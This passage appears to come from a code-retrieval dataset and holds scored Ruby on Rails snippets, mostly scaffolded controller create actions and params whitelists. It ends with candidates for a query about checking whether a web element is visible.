"0.4598562", "text": "def create\n @post = Post.new(post_params)\n @post.is_open = true\n @post.is_solved = false\n\n #if post_params[:include_location]==\"1\"\n # @post.city=\"Santiago\"\n # @post.country=\"Chile\"\n # puts(\"\\n\\n\\n\\n\\n\\n\\n\\n\\n\\nBieeen\\n\\n\\n\\n\\n\\n\\n\\n\")\n # puts(params[:location][\"latitude\"])\n @post.gps_location=\"Latitude: #{params[:location][\"latitude\"]} | Longitude: #{params[:location][\"longitude\"]}\"\n location = Location.create(name: \"wiwi\",latitude: params[:location][\"latitude\"], longitude: params[:location][\"longitude\"])\n @post.location=location\n #end\n\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to root_path, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n # format.html { render :new }\n format.html { redirect_to root_path, alert: 'Error creating post. Recalls that both the length of the title and the content of the post must be at least 5 characters long.' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "27e4ed75c27e31373a86b564d5730c79", "score": "0.45978767", "text": "def create\n @geopoint = Geopoint.new(params[:geopoint])\n\n respond_to do |format|\n if @geopoint.save\n format.html { redirect_to @geopoint, notice: 'Geopoint was successfully created.' }\n format.json { render json: @geopoint, status: :created, location: @geopoint }\n else\n format.html { render action: \"new\" }\n format.json { render json: @geopoint.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6af68ab7161e3eb1989b48245dbeba49", "score": "0.45968983", "text": "def create\n @ge_city_api = GeCityApi.new(ge_city_api_params)\n\n respond_to do |format|\n if @ge_city_api.save\n format.html { redirect_to @ge_city_api, notice: 'Ge city api was successfully created.' }\n format.json { render :show, status: :created, location: @ge_city_api }\n else\n format.html { render :new }\n format.json { render json: @ge_city_api.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e2c63912b9f5991ab176b5ad211bfaa7", "score": "0.4593475", "text": "def create\n @jugadore = Jugadore.new(jugadore_params)\n\n respond_to do |format|\n if @jugadore.save\n format.html { redirect_to @jugadore, notice: 'Jugadore was successfully created.' }\n format.json { render :show, status: :created, location: @jugadore }\n else\n format.html { render :new }\n format.json { render json: @jugadore.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cb22bd7f6881b21f4e8744d970e51206", "score": "0.45882037", "text": "def create\n @eje = Eje.new(eje_params)\n\n respond_to do |format|\n if @eje.save\n format.html { redirect_to @eje, notice: 'Eje was successfully created.' }\n format.json { render :show, status: :created, location: @eje }\n else\n format.html { render :new }\n format.json { render json: @eje.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e538fa284cd50e93e7570b7bc332015c", "score": "0.4585329", "text": "def create\n @gig = current_user.gigs.new(gig_params)\n location = Location.find_or_create_by({\n postcode_address: params[:location][:postcode_address],\n street_address: params[:location][:street_address]\n })\n @gig.location = location\n respond_to do |format|\n if @gig.save\n format.html { redirect_to @gig, notice: 'Gig was successfully created.' }\n format.json { render :show, status: :created, location: @gig }\n else\n format.html { render :new }\n format.json { render json: @gig.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8f272ab8f5ae3ac7d67a0c3abe934797", "score": "0.45707193", "text": "def create\n puts 'AQQQQQUUUUUUUIIIIII'\n json = ActiveSupport::JSON.decode(params[:pessoa])\n puts json\n @pessoa = Pessoa.new(json)\n # @address = Address.new(params[:address])\n\n # @client.addresses = @address\n\n respond_to do |format|\n if @pessoa.save\n format.html { redirect_to @pessoa, notice: 'Pessoa was successfully created.' }\n format.json { render json: @pessoa, status: :created, location: @pessoa }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pessoa.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9e688d5ef7a6658435016119afac1a3e", "score": "0.45576605", "text": "def create\n @eleitore = Eleitore.new(eleitore_params)\n\n respond_to do |format|\n if @eleitore.save\n format.html { redirect_to @eleitore, notice: 'Eleitore was successfully created.' }\n format.json { render :show, status: :created, location: @eleitore }\n else\n format.html { render :new }\n format.json { render json: @eleitore.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "19f2d96e6ff2f0a5ecfbff4e632f2a3f", "score": "0.45574713", "text": "def create\n @gigapan = Gigapan.new(gigapan_params)\n\n respond_to do |format|\n if @gigapan.save\n format.html { redirect_to @gigapan, notice: 'Gigapan was successfully created.' }\n format.json { render :show, status: :created, location: @gigapan }\n else\n format.html { render :new }\n format.json { render json: @gigapan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b22656b8e48a1558a932555b56995aa3", "score": "0.45560732", "text": "def gempost_params\n params.require(:gempost).permit(:title, :content, :img)\n end", "title": "" }, { "docid": "7ba61c52979af2707bd87038816680f2", "score": "0.45542872", "text": "def create\n @spanish_word = SpanishWord.new(spanish_word_params)\n\n respond_to do |format|\n if @spanish_word.save\n format.html { redirect_to @spanish_word, notice: 'Spanish word was successfully created.' }\n format.json { render :show, status: :created, location: @spanish_word }\n else\n format.html { render :new }\n format.json { render json: @spanish_word.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "edd8fadb28f952ceaa02d8cce9a22b0c", "score": "0.45538136", "text": "def ejemplares\n\t\tsnib = Geoportal::Snib.new\n\t\tsnib.params = params\n\t\tsnib.ejemplares\n\t\t\n\t\trender json: snib.resp\n\tend", "title": "" }, { "docid": "419d16bb044f9c2919dbf5b22d614fad", "score": "0.45509285", "text": "def disemvowel\nend", "title": "" }, { "docid": "3072b49691a00925a7f4ac88de880def", "score": "0.4542833", "text": "def geojson(fields)\n geojson = Array.new\n fields.each do |field|\n geojson << {\n type: 'Feature',\n geometry: {\n type: 'Point',\n coordinates: [field.longitude, field.latitude]\n },\n properties: {\n id: field.id,\n name: field.name,\n address: print_field(field),\n :'marker-color' => '#00607d',\n :'marker-symbol' => 'circle',\n :'marker-size' => 'medium',\n title: \"<a href=#{field_url(field)} data-no-turbolink><b>#{field.name}</b></a>\",\n description: print_field(field)\n }\n }\n end\n geojson\n end", "title": "" }, { "docid": "273d7720d3117ce839ad1fac264e3c0b", "score": "0.45400605", "text": "def letter_params\n params.require(:letter).permit(:title, :text)\n end", "title": "" }, { "docid": "94e291b4683b7db660d65e151431019b", "score": "0.45381987", "text": "def create\n\n @recipe = Recipe.new(recipe_params)\n @recipe.recipe_creator_id = current_user.id\n @recipe.allergies = get_allergies_from_params\n @recipe.ingredients = get_selected_ingredients\n\n #Shows an example on how to automatically check whether a recipe is suitable for a person with an intolerance\n laktoseintoleranz = Allergy.where(name: 'Laktoseintoleranz').first\n unless @recipe.allergies.include?(laktoseintoleranz)\n neo = Neography::Rest.new({:username => \"user\", :password => \"user\"})\n includes_laktose_ingredient = false\n\n @recipe.ingredients.each do |ingredient|\n node = neo.execute_query(\"MATCH (n)-[]->(i) WHERE n.name = 'Laktoseintoleranz' AND i.name = '#{ingredient.name}' RETURN i\")\n if node[\"data\"].present?\n includes_laktose_ingredient = true\n end\n end\n unless includes_laktose_ingredient\n @recipe.allergies << laktoseintoleranz\n end\n end\n\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to @recipe, notice: 'Recipe was successfully created.' }\n format.json { render :show, status: :created, location: @recipe }\n else\n format.html { render :new }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "731ccf3c6161809d2bb92326e18df9ae", "score": "0.45356512", "text": "def create\n @earth = Earth.new(earth_params)\n\n respond_to do |format|\n if @earth.save\n format.html { redirect_to earths_path, notice: 'Earth was successfully created.' }\n format.json { render action: 'show', status: :created, location: @earth }\n else\n format.html { render action: 'new' }\n format.json { render json: @earth.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "32b4909a074fa29f9e17d85c5c842513", "score": "0.45348084", "text": "def ponte_params\n params.require(:ponte).permit(:descricao, :geom)\n end", "title": "" }, { "docid": "9a9c14fb1b0f411031c42a18056d390b", "score": "0.45314723", "text": "def post_params\n params.require(:post).permit(:content, :latitude, :longitude, :good, :bad)\n end", "title": "" }, { "docid": "aa4b7b639dc0af94881246b1b4dabcb5", "score": "0.45241356", "text": "def create\n @gakunenn = Gakunenn.new(gakunenn_params)\n\n respond_to do |format|\n if @gakunenn.save\n format.html { redirect_to @gakunenn, notice: \"学年を追加しました\" }\n format.json { render :show, status: :created, location: @gakunenn }\n else\n format.html { render :new }\n format.json { render json: @gakunenn.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b92451c2bfb97b501468d1d1d7446034", "score": "0.45223048", "text": "def test_all_the_dogs_are_in_one_pack\n @params = {\n packs: [\n {\n dogs: ['Spot', 'Fido', 'Rover'],\n location: 'San Francisco',\n },\n {\n dogs: ['Doggie', 'Lassie'],\n location: 'Canada',\n },\n ],\n }\n\n\n post \"/dogs\", params = @params\n assert_equal 'Spot, Fido, Rover, Doggie, and Lassie are all in one pack. Oh no!', last_response.body\n end", "title": "" }, { "docid": "93732cd0cd93a523e3fb01a9ab791824", "score": "0.4511597", "text": "def add_engeener\n @engeener = Engeener.new(params[:engeener])\n if request.post? and @engeener.save\n flash.now[:notice] = \"User #{@engeener.nzwisko} created\"\n @engeener = Engeener.new\n end\n end", "title": "" }, { "docid": "9087dfd0e37bcd63708580821ffda545", "score": "0.4509247", "text": "def create\n @greffe = Greffe.new(article_params)\n\n respond_to do |format|\n if @greffe.save\n format.html { redirect_to administration_article_path(@greffe), notice: 'Greffe was successfully created.' }\n format.json { render :show, status: :created, location: @greffe }\n else\n format.html { render :new }\n format.json { render json: @greffe.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aca2482568222c92af2ac61935ed8899", "score": "0.45085987", "text": "def emergencium_params\n params.require(:emergencium).permit(:latitude, :longitude, :address, :descrption, :title)\n end", "title": "" }, { "docid": "042477b664c082b777ad2c4219b7cd02", "score": "0.45067498", "text": "def create\n @letter_field_input = LetterFieldInput.new(letter_field_input_params)\n\n respond_to do |format|\n if @letter_field_input.save\n format.html { redirect_to @letter_field_input, notice: 'Letter field input was successfully created.' }\n format.json { render :show, status: :created, location: @letter_field_input }\n else\n format.html { render :new }\n format.json { render json: @letter_field_input.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3ca1ebf90cfb48fdf3fbf72019d45bcc", "score": "0.44873103", "text": "def create\n @jugadore = Jugadore.new( jugadore_params )\n\n respond_to do |format|\n if @jugadore.save\n format.html { redirect_to @jugadore, notice: 'Jugadore was successfully created.' }\n format.json { render action: 'show', status: :created, location: @jugadore }\n else\n format.html { render action: 'new' }\n format.json { render json: @jugadore.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3073cf3e5ecdd96773674a448ca57d11", "score": "0.44865498", "text": "def gakunenn_params\n params.require(:gakunenn).permit(:nenndo, :gakunenn, :kumi, :ninnzuu)\n end", "title": "" }, { "docid": "b260544061700d446f5cb45a11cd5ea8", "score": "0.44845086", "text": "def add_elevations(points)\n points_elev = points.select { |p| p.key? :elevation }\n\n return ElevResultAlreadyValid.new(points) \\\n if points_elev.length == points.length\n\n return ElevResultInvalid.new('Only some points with elevation') \\\n unless points_elev.empty?\n\n points_json = []\n\n points.each do |p|\n points_json += [{ longitude: p[:longitude], latitude: p[:latitude] }]\n end\n\n params = { content_type: :json, accept: :json }\n contents = JSON.generate points_json\n response = RestClient.post(URL, contents, params)\n\n elevations = JSON.parse(response.body,\n {\n allow_nan: false,\n symbolize_names: true\n })\n\n return ElevResultInvalid.new('Invalid response from elevations server') \\\n unless elevations.is_a? Array\n\n return ElevResultInvalid.new('Invalid number of elevations from server') \\\n unless elevations.length == points.length\n\n points.each_index do |idx|\n return ElevResultInvalid.new('Elevation must be an integer') \\\n unless elevations[idx].is_a? Integer\n\n points[idx][:elevation] = elevations[idx]\n end\n\n ElevResultValid.new(points)\nend", "title": "" }, { "docid": "ba356ccd95d65a6d53dd717cb60c2ec2", "score": "0.44798946", "text": "def new\n @admin_geonode = Admin::Geonode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_geonode }\n end\n end", "title": "" }, { "docid": "fab568f3e3cc15cd3e91996a24173738", "score": "0.4479776", "text": "def create\n @edge = Edge.new(params[:edge])\n\n respond_to do |format|\n if @edge.save\n format.html { redirect_to @edge, notice: 'Edge was successfully created.' }\n format.json { render json: @edge, status: :created, location: @edge }\n else\n format.html { render action: \"new\" }\n format.json { render json: @edge.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9e3a2d7a173104e540822d77ba8b5e5f", "score": "0.44755563", "text": "def create\n @jewel = Jewel.new(jewel_params)\n @jewel.user = current_user\n\n respond_to do |format|\n if @jewel.save\n format.html { redirect_to @jewel, notice: 'Jewel was successfully created.' }\n format.json { render :show, status: :created, location: @jewel }\n else\n format.html { render :new }\n format.json { render json: @jewel.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eb51bc54ce63b1d72e907dcb60c9be39", "score": "0.44750038", "text": "def create\n @hotel = Hotel.new(params[:hotel])\n\n respond_to do |format|\n if @hotel.save\n format.html { redirect_to @hotel, notice: 'Hotel was successfully created.' }\n format.json { render json: @hotel, status: :created, location: @hotel }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hotel.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "49823494b8c1c249ca1816104b252f19", "score": "0.44731024", "text": "def create\n @degre = Degre.new(degre_params)\n\n respond_to do |format|\n if @degre.save\n format.html { redirect_to @degre, notice: 'Degre was successfully created.' }\n format.json { render :show, status: :created, location: @degre }\n else\n format.html { render :new }\n format.json { render json: @degre.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d56451e24766e5c2b07147c5bfe06dd7", "score": "0.4468262", "text": "def new\n @groep = Groep.new\n @lesgevers = Lesgever.order('name').all\n @dags = Dag.all\n @niveaus = Niveau.order('position').all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @groep }\n end\n end", "title": "" }, { "docid": "d372e78889ff3f33f1cca242b7f3cbad", "score": "0.44650832", "text": "def vowel?\n kor.jungsung? self\n end", "title": "" }, { "docid": "31621feecdf4cd7c6035717e21e04449", "score": "0.44622386", "text": "def encode_guests( players )\n guests = []\n players.each { |p| guests << p.id }\n @guest_codes = guests.to_json\n end", "title": "" }, { "docid": "ceb4f4a3cee2e3b4849c851ad1f918ef", "score": "0.4461606", "text": "def create\n @gig_request = GigRequest.new(gig_request_params)\n \n #@gig_request.name = encode(@gig_request.name)\n #@gig_request.address = encode(@gig_request.address)\n #@gig_request.email = encode(@gig_request.email)\n\n respond_to do |format|\n if @gig_request.save\n format.html { redirect_to @gig_request, notice: 'Gig request was successfully created.' }\n format.json { render :show, status: :created, location: @gig_request }\n else\n format.html { render :new }\n format.json { render json: @gig_request.errors, status: :unprocessable_entity }\n #flash[:error] = @gig_request.errors.full_messages[0]\n #render 'new'\n end\n end\n end", "title": "" }, { "docid": "289bdb60752f8c6378b20d0e541941a0", "score": "0.44566023", "text": "def agencium_params\n params.require(:agencium).permit(:nombre, :mail, :contraseĮņa)\n end", "title": "" }, { "docid": "d5003afef3f1aac7973b1eeae0f3b2f2", "score": "0.44549608", "text": "def create\n @stilage = Stilage.new(stilage_params)\n respond_to do |format|\n if @stilage.save\n format.html { redirect_to @stilage, notice: 'Stilage was successfully created.' }\n format.json { render :show, status: :created, location: @stilage }\n else\n format.html { render :new }\n format.json { render json: @stilage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c3e893970de944843a138020f48a5b21", "score": "0.44541392", "text": "def create\n @etape = Etape.new(params[:etape])\n\n respond_to do |format|\n if @etape.save\n format.html { redirect_to @etape, notice: 'Etape was successfully created.' }\n format.json { render json: @etape, status: :created, location: @etape }\n else\n format.html { render action: \"new\" }\n format.json { render json: @etape.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "748ea8da28503cd5648b7c20d5aab30b", "score": "0.44513172", "text": "def create\n @ojibwe_word = OjibweWord.new(ojibwe_word_params)\n\n respond_to do |format|\n if @ojibwe_word.save\n format.html { redirect_to @ojibwe_word, notice: 'Ojibwe word was successfully created.' }\n format.json { render :show, status: :created, location: @ojibwe_word }\n else\n format.html { render :new }\n format.json { render json: @ojibwe_word.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "290107984e29848774f8aa5d4a5e6ba4", "score": "0.4448104", "text": "def new\n @paper_word = PaperWord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @paper_word }\n end\n end", "title": "" }, { "docid": "915b5261f85076a75a0f31064353a64a", "score": "0.44393152", "text": "def create\n @nepal = Nepal.new(nepal_params)\n\n if @nepal.save\n render json: @nepal, status: :created, location: @nepal\n else\n render json: @nepal.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "8d244c8e93c271a7e92ea1ee63d3dddc", "score": "0.44366947", "text": "def POST; end", "title": "" }, { "docid": "5a7d72975c600f5ce795a0187e89c43d", "score": "0.44355008", "text": "def postEntityGeopoint( entity_id, longitude, latitude, accuracy)\n params = Hash.new\n params['entity_id'] = entity_id\n params['longitude'] = longitude\n params['latitude'] = latitude\n params['accuracy'] = accuracy\n return doCurl(\"post\",\"/entity/geopoint\",params)\n end", "title": "" }, { "docid": "29f17d8454ea056271d265a0867beedd", "score": "0.44329867", "text": "def create\n @hotel = Hotel.new(hotel_params)\n\n respond_to do |format|\n if @hotel.save\n format.html { redirect_to hotels_url, notice: 'Hotel was successfully created.' }\n format.json { render :show, status: :created, location: @hotel }\n else\n format.html { render :new }\n format.json { render json: @hotel.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "176cd84ad7834e41c9af09e1affba084", "score": "0.4429583", "text": "def create\n @etnia = Etnia.new(params[:etnia])\n\n respond_to do |format|\n if @etnia.save\n format.html { redirect_to @etnia, notice: 'Etnia was successfully created.' }\n format.json { render json: @etnia, status: :created, location: @etnia }\n else\n format.html { render action: \"new\" }\n format.json { render json: @etnia.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fd491200443724d58e9fba7fe4b5a18a", "score": "0.4423839", "text": "def create\n @messege = Messege.new(params[:messege])\n\n respond_to do |format|\n if @messege.save\n format.html { redirect_to @messege, notice: 'Messege was successfully created.' }\n format.json { render json: @messege, status: :created, location: @messege }\n else\n format.html { render action: \"new\" }\n format.json { render json: @messege.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "493d95613c5d45e7137cda7f53b9c694", "score": "0.44204676", "text": "def create\n @eintrag = Eintrag.new(eintrag_params)\n\n respond_to do |format|\n if @eintrag.save\n format.html { redirect_to @eintrag, notice: 'Eintrag was successfully created.' }\n format.json { render :show, status: :created, location: @eintrag }\n else\n format.html { render :new }\n format.json { render json: @eintrag.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b589c774681d79c7b2739212ecf1c502", "score": "0.44199118", "text": "def create\n @elder_gallary = ElderGallary.new(elder_gallary_params)\n\n respond_to do |format|\n if @elder_gallary.save\n format.html { redirect_to @elder_gallary, notice: 'Elder gallary was successfully created.' }\n format.json { render :show, status: :created, location: @elder_gallary }\n else\n format.html { render :new }\n format.json { render json: @elder_gallary.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d4dcfc8b3d1a3b4cdae19e9edda8cf8f", "score": "0.44185442", "text": "def judge_params\n params.require(:judge).permit(:houhou, :houhou_eng)\n end", "title": "" }, { "docid": "32592d03d4c631984b5b7f6c996ac001", "score": "0.44182032", "text": "def new\n @hoge = Hoge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hoge }\n end\n end", "title": "" }, { "docid": "564dcaf4ac7bcc084209a5eba24a72ce", "score": "0.4416017", "text": "def create\n @giang_vien = GiangVien.new(params[:giang_vien])\n\n respond_to do |format|\n if @giang_vien.save \n format.json { render json: @giang_vien, status: :created, location: @giang_vien }\n else \n format.json { render json: @giang_vien.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "756735ea0f948e662a6e89e0b0431671", "score": "0.44119182", "text": "def create\n @hotel = Hotel.new(hotel_params)\n\n respond_to do |format|\n if @hotel.save\n format.html { redirect_to @hotel, notice: 'Hotel was successfully created.' }\n format.json { render :show, status: :created, location: @hotel }\n else\n format.html { render :new }\n format.json { render json: @hotel.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "756735ea0f948e662a6e89e0b0431671", "score": "0.44119182", "text": "def create\n @hotel = Hotel.new(hotel_params)\n\n respond_to do |format|\n if @hotel.save\n format.html { redirect_to @hotel, notice: 'Hotel was successfully created.' }\n format.json { render :show, status: :created, location: @hotel }\n else\n format.html { render :new }\n format.json { render json: @hotel.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a846ecb5d448b51f2fb9250e0c5c1329", "score": "0.4409808", "text": "def lehrerbewertung_params\n params.require(:lehrerbewertung).permit(:ug, :uv, :fr, :ums, :lehrerid, :anzahl)\n end", "title": "" }, { "docid": "a51c67525b62b6bd88328851a076e8d1", "score": "0.44097456", "text": "def four_ninety_eight(e)\n render json: { message: e.message }, status: :invalid_token\n end", "title": "" }, { "docid": "1dce167a699334e0df7eb890e26e65f5", "score": "0.4409409", "text": "def create\n @jeon = Jeon.new(jeon_params)\n\n respond_to do |format|\n if @jeon.save\n format.html { redirect_to @jeon, notice: 'Jeon was successfully created.' }\n format.json { render :show, status: :created, location: @jeon }\n else\n format.html { render :new }\n format.json { render json: @jeon.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
a22bb2e1b4ceecc1669622b79e7eaac2
return true if an element is visible def visible? element.present? end compare this element to another to determine if they are equal
[ { "docid": "4c6ca1789a6b8ed660c41e8c1c8ac6bd", "score": "0.0", "text": "def ==(other)\n other.is_a? self.class and element == other.element\n end", "title": "" } ]
[ { "docid": "cd8dace184d36dafab5382cdeffd72ff", "score": "0.8503281", "text": "def visible?\n element.isVisible\n end", "title": "" }, { "docid": "cd8dace184d36dafab5382cdeffd72ff", "score": "0.8503281", "text": "def visible?\n element.isVisible\n end", "title": "" }, { "docid": "f6abfd4a1d4149f6f542d5405c3f5cbc", "score": "0.80902076", "text": "def visible?\n obj = find_element(self, @parent_element)\n ##--\n # this uses capybaras visible? method (which in turn is using selenium-webdrivers visible? method)\n # a visible? method that uses a different attribute or selector for determining whether or not the element is visible\n # should be defined at a higher level\n ##++\n obj.visible?\n end", "title": "" }, { "docid": "fa24a985bc8dcc91a19113680d7d06aa", "score": "0.8003625", "text": "def visible?\n Element.css(self, 'display') != \"none\"\n end", "title": "" }, { "docid": "5c96b11a690fbcaa06bb02912d1ba5bd", "score": "0.77782506", "text": "def visible?(elem)\n displayed = @_browser.js_eval \"document.getElementById('#{elem.id.to_s}').style.display\"\n visibility = @_browser.js_eval \"document.getElementById('#{elem.id.to_s}').style.display\"\n @@current_level = 0\n return !(displayed == \"none\" || visibility == \"hidden\")\n end", "title": "" }, { "docid": "9d6a885d38822dfdaee67a4f59123489", "score": "0.7668904", "text": "def is_element_visible?(element_name)\n result = false\n elem_to_check = find_element(element_name)\n unless elem_to_check.nil?\n result = elem_to_check.visible?\n end\n if result\n dbg_msg('info',\"Checking Element #{element_name} is_element_visible? - true\")\n else\n dbg_msg('info',\"Checking if element is visible #{element_name} - false\")\n end\n return result\n end", "title": "" }, { "docid": "da2979e6b524c6cde85947c23863dd63", "score": "0.7618002", "text": "def element_visible?\n default_wait = driver.default_wait if driver\n driver.no_wait if driver\n\n if exists?\n driver.set_wait(default_wait) if driver\n true\n else\n false\n end\n rescue RuntimeError\n false\n end", "title": "" }, { "docid": "25f21e1ddfb160c947c6484594eb90d6", "score": "0.7333644", "text": "def visible?\n # Now iterate up the DOM element tree and return false if any\n # parent element isn't visible or is disabled.\n object = document\n while object\n if object.style.invoke('visibility') =~ /^hidden$/i\n return false\n end\n if object.style.invoke('display') =~ /^none$/i\n return false\n end\n if object.invoke('isDisabled')\n return false\n end\n object = object.parentElement\n end\n \n return true\n end", "title": "" }, { "docid": "56250ea8273028d74ce53f3487a06715", "score": "0.73293585", "text": "def visible?(locator)\n exists?(locator) && @driver.find_element(locator).displayed?\n end", "title": "" }, { "docid": "8faf2313235f07bcabcf41217aaaacf5", "score": "0.73071796", "text": "def visible?\r\n @visible == true\r\n end", "title": "" }, { "docid": "042ace26d041ab0b402c4e7bc41f026b", "score": "0.73048323", "text": "def present?\n exists? && visible?\n rescue Exception\n # if the element disappears between the exists? and visible? calls,\n # consider it not present.\n false\n end", "title": "" }, { "docid": "b8b04cba3958a9fbe528c0fb3c8217ba", "score": "0.72799045", "text": "def displayed?\n get_selenium_elements[@index].displayed?\n end", "title": "" }, { "docid": "698f0897142440d1dc53129dc903a089", "score": "0.72752297", "text": "def visible?\r\n @visible == true\r\n end", "title": "" }, { "docid": "5fb6b479fae26b11d2ec52afccef0a6f", "score": "0.72739834", "text": "def visible?\n existence_check\n !@automation_element.current.is_offscreen\n end", "title": "" }, { "docid": "610a591b2107f551104013f0f7966709", "score": "0.7251139", "text": "def visible?\r\n return visible\r\n end", "title": "" }, { "docid": "610a591b2107f551104013f0f7966709", "score": "0.7251139", "text": "def visible?\r\n return visible\r\n end", "title": "" }, { "docid": "18843912189f785a8fd725c5eb7a88bd", "score": "0.71666217", "text": "def displayed?\n bridge.element_displayed? self\n end", "title": "" }, { "docid": "e127f1c858517845a0976f6b4e2a4933", "score": "0.7153315", "text": "def visible?\n visible\n end", "title": "" }, { "docid": "b8b013119c69e666821cb5cb1232afd2", "score": "0.7151981", "text": "def visible?\n @visible\n end", "title": "" }, { "docid": "8bdd604a1cf359cbea07d20ad695427b", "score": "0.713032", "text": "def visible?\n return visible rescue false\n end", "title": "" }, { "docid": "8bdd604a1cf359cbea07d20ad695427b", "score": "0.713032", "text": "def visible?\n return visible rescue false\n end", "title": "" }, { "docid": "d8b3adff6cf218bcba4ea3c0b4a56103", "score": "0.7126919", "text": "def visible?\n @visible\n end", "title": "" }, { "docid": "d8b3adff6cf218bcba4ea3c0b4a56103", "score": "0.7126919", "text": "def visible?\n @visible\n end", "title": "" }, { "docid": "71f1147af54452e6da802fdd2eb58cf8", "score": "0.7096134", "text": "def check_visible(timeout=::PageObject.default_element_wait)\n timed_loop(timeout) do |element|\n element.visible?\n end\n end", "title": "" }, { "docid": "71f1147af54452e6da802fdd2eb58cf8", "score": "0.7096134", "text": "def check_visible(timeout=::PageObject.default_element_wait)\n timed_loop(timeout) do |element|\n element.visible?\n end\n end", "title": "" }, { "docid": "e4f30c29875e13a469b798cfb2cea871", "score": "0.7090134", "text": "def verify_visible element_locator\r\n command 'verifyVisible', element_locator\r\n end", "title": "" }, { "docid": "cb165d46fa5137753c7ea8798b771ece", "score": "0.7069113", "text": "def expected_element_visible(element_name, timeout=Capybara.default_wait_time)\n define_method(\"has_expected_element_visible?\") do\n expect(self.send(\"#{element_name}_element\")).to be_visible\n end\n end", "title": "" }, { "docid": "d178e231c6ed8a80108af4fabbb0af13", "score": "0.70680237", "text": "def visible?\n calabash_proxy.when_element_exists(selector, timeout: 5, action: lambda { return true })\n rescue\n false\n end", "title": "" }, { "docid": "54190e791f5e560b86e2b29a92c2efcf", "score": "0.70184326", "text": "def is_visible(locator)\n return get_boolean(\"isVisible\", [locator,])\n end", "title": "" }, { "docid": "09da28c9f5ffb04fd58723993e46cfa2", "score": "0.70070994", "text": "def assert_exists_visible(element, message)\r\n\r\n # TODO take parameters for fast_fail\r\n current_url = LynxAutoHelper.get_browser_instance.url\r\n\r\n element_exists = element.exists?\r\n\r\n puts \"From 'assert_exists_visible method, for #{message}, element_exists: #{element_exists}\"\r\n #begin\r\n assert_equal(true, element_exists, \"Existence of the element #{message} on the browser page: #{current_url}\")\r\n #rescue MiniTest::Assertion => mta\r\n # puts mta.message\r\n # puts mta.backtrace\r\n #end\r\n\r\n #begin\r\n element_visible = element.visible?\r\n assert_equal(true, element_visible, \"Visible setting of the element #{message} on the browser page: #{current_url}\")\r\n #rescue MiniTest::Assertion => mta\r\n # puts mta.message\r\n # puts mta.backtrace\r\n #end\r\n\r\n end", "title": "" }, { "docid": "7e011d933f54b8acf8853257bddac1dd", "score": "0.69862854", "text": "def section_visible?\n root_element.visible?\n end", "title": "" }, { "docid": "533e8ca6f3f5623887c32845088081cb", "score": "0.6971046", "text": "def displayed?(locator)\n e = $driver.find_element locator\n e.displayed?\n end", "title": "" }, { "docid": "533e8ca6f3f5623887c32845088081cb", "score": "0.6971046", "text": "def displayed?(locator)\n e = $driver.find_element locator\n e.displayed?\n end", "title": "" }, { "docid": "b11cfa0e331f4fa80386fa0eb07e0ff7", "score": "0.6962184", "text": "def IsElementVisible(element)\n wait = Selenium::WebDriver::Wait.new(:timeout => 15)\n element = @chromedriver.find_element(:class, element)\n wait.until { element.displayed? }\n\n end", "title": "" }, { "docid": "481de27bd16f1c5ebd25d598be8bca7e", "score": "0.6945806", "text": "def visible?\n end", "title": "" }, { "docid": "481de27bd16f1c5ebd25d598be8bca7e", "score": "0.6945806", "text": "def visible?\n end", "title": "" }, { "docid": "481de27bd16f1c5ebd25d598be8bca7e", "score": "0.6945806", "text": "def visible?\n end", "title": "" }, { "docid": "47684154afe7cce5a769d9f5b9d7693d", "score": "0.69370586", "text": "def isdisplayed?(element)\r\n element.displayed?\r\n true\r\n rescue Selenium::WebDriver::Error::NoSuchElementError\r\n false\r\n end", "title": "" }, { "docid": "222f0b8da99e2e73955da23d08f43617", "score": "0.6925808", "text": "def 